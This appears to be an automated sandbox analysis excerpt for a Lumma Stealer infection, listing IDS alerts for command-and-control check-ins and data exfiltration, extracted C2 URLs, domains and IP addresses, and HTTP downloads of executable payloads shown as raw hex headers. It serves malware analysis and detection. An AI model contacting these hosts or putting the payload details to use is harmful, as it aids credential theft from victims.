Source: Network traffic Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:49712 -> 104.21.53.8:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49712 -> 104.21.53.8:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49750 -> 104.21.53.8:443
Source: Network traffic Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.6:49716 -> 104.21.53.8:443
Source: Network traffic Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.6:49710 -> 104.102.49.254:443
Source: Network traffic Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.6:49877 -> 104.102.49.254:443
Source: Network traffic Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.6:49951 -> 104.102.49.254:443
Source: Network traffic Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.6:50057 -> 104.102.49.254:443
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor URLs: http://185.215.113.37/e2b1563c6670f193.php
Source: Malware configuration extractor URLs: clearancek.site
Source: Malware configuration extractor URLs: eaglepawnoy.store
Source: Malware configuration extractor URLs: mobbipenju.store
Source: Malware configuration extractor URLs: studennotediw.store
Source: Malware configuration extractor URLs: bathdoomgaz.store
Source: Malware configuration extractor URLs: licendfilteo.site
Source: Malware configuration extractor URLs: spirittunek.store
Source: Malware configuration extractor URLs: dissapoiznw.store
Source: Malware configuration extractor IPs: 185.215.113.43
Downloads executable code via HTTP
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 24 Oct 2024 09:02:28 GMTContent-Type: application/octet-streamContent-Length: 1880576Last-Modified: Thu, 24 Oct 2024 08:57:47 GMTConnection: keep-aliveETag: "671a0c0b-1cb200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 10 4a 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 4a 00 00 04 00 00 f3 f5 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2c f6 49 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 dc f5 49 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 b0 29 00 00 b0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 77 63 6d 65 62 74 78 77 00 a0 19 00 00 60 30 00 00 98 19 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 71 6d 66 7a 7a 67 76 65 00 10 00 00 00 00 4a 00 00 04 00 00 00 8c 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 10 4a 00 00 22 00 00 00 90 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 24 Oct 2024 09:02:33 GMTContent-Type: application/octet-streamContent-Length: 1829376Last-Modified: Thu, 24 Oct 2024 08:57:40 GMTConnection: keep-aliveETag: "671a0c04-1bea00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 00 10 69 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 40 69 00 00 04 00 00 11 d1 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 d0 25 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 d1 25 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 b0 25 00 00 10 00 00 00 28 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 c0 25 00 00 00 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 d0 25 00 00 02 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 90 29 00 00 e0 25 00 00 02 00 00 00 3a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 78 66 6e 69 73 7a 68 69 00 90 19 00 00 70 4f 00 00 88 19 00 00 3c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 70 75 6e 6e 70 75 67 67 00 10 00 00 00 00 69 00 00 04 00 00 00 c4 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 10 69 00 00 22 00 00 00 c8 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 24 Oct 2024 09:02:35 GMTContent-Type: application/octet-streamContent-Length: 2785280Last-Modified: Thu, 24 Oct 2024 08:00:09 GMTConnection: keep-aliveETag: "6719fe89-2a8000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 e0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 2b 00 00 04 00 00 36 c3 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 74 6b 65 75 66 77 78 61 00 20 2a 00 00 a0 00 00 00 20 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 69 63 73 6b 63 6c 64 68 00 20 00 00 00 c0 2a 00 00 04 00 00 00 5a 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 e0 2a 00 00 22 00 00 00 5e 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 24 Oct 2024 09:02:46 GMTContent-Type: application/octet-streamContent-Length: 2888192Last-Modified: Thu, 24 Oct 2024 08:57:33 GMTConnection: keep-aliveETag: "671a0bfd-2c1200"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 4a f1 ff 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 a0 04 00 00 dc 00 00 00 00 00 00 00 90 2f 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 2f 00 00 04 00 00 40 f8 2c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 f0 05 00 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 f1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 d0 05 00 00 10 00 00 00 5e 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 e0 05 00 00 00 00 00 00 6e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 f0 05 00 00 02 00 00 00 6e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6f 74 6f 70 6d 77 77 75 00 80 29 00 00 00 06 00 00 7a 29 00 00 70 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6e 77 6e 6e 79 70 69 73 00 10 00 00 00 80 2f 00 00 06 00 00 00 ea 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 90 2f 00 00 22 00 00 00 f0 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 24 Oct 2024 09:02:52 GMTContent-Type: application/octet-streamContent-Length: 1829376Last-Modified: Thu, 24 Oct 2024 08:57:40 GMTConnection: keep-aliveETag: "671a0c04-1bea00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 00 10 69 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 40 69 00 00 04 00 00 11 d1 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 d0 25 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 d1 25 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 b0 25 00 00 10 00 00 00 28 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 c0 25 00 00 00 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 d0 25 00 00 02 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 90 29 00 00 e0 25 00 00 02 00 00 00 3a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 78 66 6e 69 73 7a 68 69 00 90 19 00 00 70 4f 00 00 88 19 00 00 3c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 70 75 6e 6e 70 75 67 67 00 10 00 00 00 00 69 00 00 04 00 00 00 c4 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 10 69 00 00 22 00 00 00 c8 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 24 Oct 2024 09:02:58 GMTContent-Type: application/octet-streamContent-Length: 919552Last-Modified: Thu, 24 Oct 2024 07:59:43 GMTConnection: keep-aliveETag: "6719fe6f-e0800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 67 fe 19 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 58 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 0e 00 00 04 00 00 1b f6 0e 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 28 9c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 0d 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 28 9c 00 00 00 40 0d 00 00 9e 00 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 e0 0d 00 00 76 00 00 00 92 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 24 Oct 2024 09:03:05 GMTContent-Type: application/octet-streamContent-Length: 314368Last-Modified: Sun, 29 Sep 2024 08:19:54 GMTConnection: keep-aliveETag: "66f90daa-4cc00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 f0 69 01 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 10 26 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 28 aa 02 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 25 00 e0 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 01 00 04 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 8f cc 01 00 00 10 00 00 00 ce 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 e0 2e 72 64 61 74 61 00 00 8c cf 00 00 00 e0 01 00 00 d0 00 00 00 d2 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 a4 03 23 00 00 b0 02 00 00 e4 01 00 00 a2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 9e 45 00 00 00 c0 25 00 00 46 00 00 00 86 04 00 00 00 00 